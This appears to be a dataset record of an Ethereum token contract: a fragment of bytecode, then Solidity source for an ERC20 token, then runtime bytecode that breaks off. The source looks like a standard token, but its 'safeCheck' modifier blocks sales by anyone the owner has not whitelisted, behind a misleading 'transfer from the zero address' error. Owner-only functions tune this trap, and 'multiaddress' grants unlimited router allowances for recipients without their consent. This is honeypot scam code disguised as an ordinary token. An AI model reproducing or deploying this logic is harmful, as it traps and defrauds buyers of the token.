ffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110a2565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611129565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e45780601f106106b9576101008083540402835291602001916106e4565b820191906000526020600020905b8154815290600101906020018083116106c757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600360149054906101000a900460ff16151561080557600080fd5b610810848484611281565b90509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088a57600080fd5b600360149054906101000a900460ff161515156108a657600080fd5b6108bb8260015461163b90919063ffffffff16565b600181905550610912826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b23576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb7565b610b36838261165990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4957600080fd5b600360149054906101000a900460ff16151515610d6557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e6f5780601f10610e4457610100808354040283529160200191610e6f565b820191906000526020600020905b815481529060010190602001808311610e5257829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515610e9457600080fd5b610e9e8383611672565b905092915050565b6000610f3782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111c157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112be57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561130b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561139657600080fd5b6113e7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561164f57fe5b8091505092915050565b600082821115151561166757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116af57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116fc57600080fd5b61174d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582052a0a55c86a5c72f7f97d799abd77920530f830ee54013f5ce813f6ff1320fa50029
|
{"success": true, "error": null, "results": {}}
| 8,996 |
0xf855a5e6407ddca7a00d86876a837dfc74812a43
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Alphr Finance
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d207468